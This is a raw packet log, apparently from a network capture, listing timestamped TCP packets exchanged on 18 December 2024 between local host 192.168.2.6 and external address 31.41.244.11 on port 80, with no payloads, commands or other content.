Dec 18, 2024 11:09:31.044190884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.044203043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.044359922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.045531034 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.045542955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.046355963 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.046375990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.046387911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.046562910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.046607018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.046716928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.046936035 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.046978951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.048583031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.048593998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.048607111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.048650980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.048650980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.049619913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.049632072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.049645901 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.049715996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.049715996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.051388025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.051399946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.051486015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.052505016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.052516937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.052527905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.052583933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.052583933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.053795099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.053806067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.053818941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.053858042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.053858042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.054512978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.054548979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.054636002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.054676056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.056462049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.056473017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.056484938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.056512117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.056651115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.057539940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.057552099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.057595015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.057595015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.058476925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.058492899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.058505058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.058521986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.058609962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.059746027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.059763908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.059789896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.059931040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.060498953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.060512066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.060590982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.061357021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.061403990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.061532974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.061604023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.062624931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.062638044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.062674046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.063370943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.063383102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.063416004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.064649105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.064661980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.064713001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.064713001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.065886974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.065898895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.065936089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.066531897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.066545010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.066595078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.066595078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.067383051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.067394972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.067675114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.203687906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.203705072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.203821898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.203859091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.203958988 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.203972101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.204062939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.204895973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.204946995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.205213070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.205287933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.205851078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.205897093 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.206249952 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.206298113 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.206851006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.206871033 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.206901073 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.206901073 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.207977057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.208134890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.208482027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.208530903 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.209530115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.209542036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.209588051 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.209852934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.209928989 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.210062981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.210107088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.211373091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.211385012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.211419106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.212985992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.212996006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.213007927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.213028908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.213179111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.213378906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.213499069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.214087963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.214099884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.214131117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.215373039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.215384007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.215517998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.216612101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.216819048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.220742941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.220966101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.221137047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.221230030 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.221251011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.221339941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.221354008 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.221415043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.222060919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.222157001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.222259998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.222301006 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.223119974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.223165035 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.223166943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.223244905 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.224189997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.224201918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.224281073 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.225011110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.225188017 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.225385904 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.225442886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.226968050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.226979971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.226990938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.227034092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.227034092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.227101088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.227241993 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.228163958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.228174925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.228312969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.229626894 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.229639053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.229701042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.230288982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.230300903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.230376959 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.230871916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.230990887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.231281042 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.231379032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.231848955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.231882095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.231920004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.231920004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.232934952 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.232947111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.233030081 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.233999014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.234010935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.234085083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.235002995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.235014915 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.235044003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.235093117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.236148119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.236160994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.236191034 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.236903906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.236916065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.236949921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.237797976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.237843037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.237961054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.237999916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.238883018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.238895893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.238949060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.239979029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.240273952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.240335941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.240426064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.240930080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.240942001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.241197109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.241780996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.241792917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.241851091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.242809057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.242862940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.243233919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.243283987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.243908882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.243921041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.243973017 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.244628906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.244673967 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.244704962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.244756937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.245804071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.245816946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.245883942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.246880054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.246891975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.246925116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.247668982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.247680902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.247755051 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.248723030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.248735905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.248771906 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.248799086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.249516010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.249562025 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.249891996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.250214100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.250539064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.250551939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.250597000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.251545906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.251559019 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.251672029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.252638102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.252650023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.252700090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.253504038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.253854990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.253942966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.254010916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.254501104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.254513979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.254612923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.255506039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.255676985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.255965948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.256030083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.256669044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.256680012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.256833076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.257492065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.257628918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.257756948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.257854939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.258519888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.258532047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.258663893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.396368027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.396471024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.396517992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.396517992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.396703005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.396713972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.396960020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.397526979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.397538900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.397620916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.398695946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.398710012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.398798943 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.399362087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.399374008 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.399427891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.399427891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.399446964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.399586916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.399605036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.399714947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.400234938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.400324106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.400347948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.400397062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.401323080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.401369095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.401396990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.401448011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.402380943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.402393103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.403333902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.403357983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.403372049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.403419018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.403419018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.403734922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.403744936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.404078007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.404932976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.404944897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.405226946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.406270027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.406281948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.406335115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.406335115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.407344103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.407409906 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.415524006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.415537119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.415617943 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.415942907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.416060925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.416081905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.416204929 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.416600943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.416651964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.416722059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.416901112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.417689085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.417737961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.417773008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.417773008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.418770075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.418783903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.418829918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.418829918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.419855118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.419867039 CET	80	49912	31.41.244.11	192.168.2.6
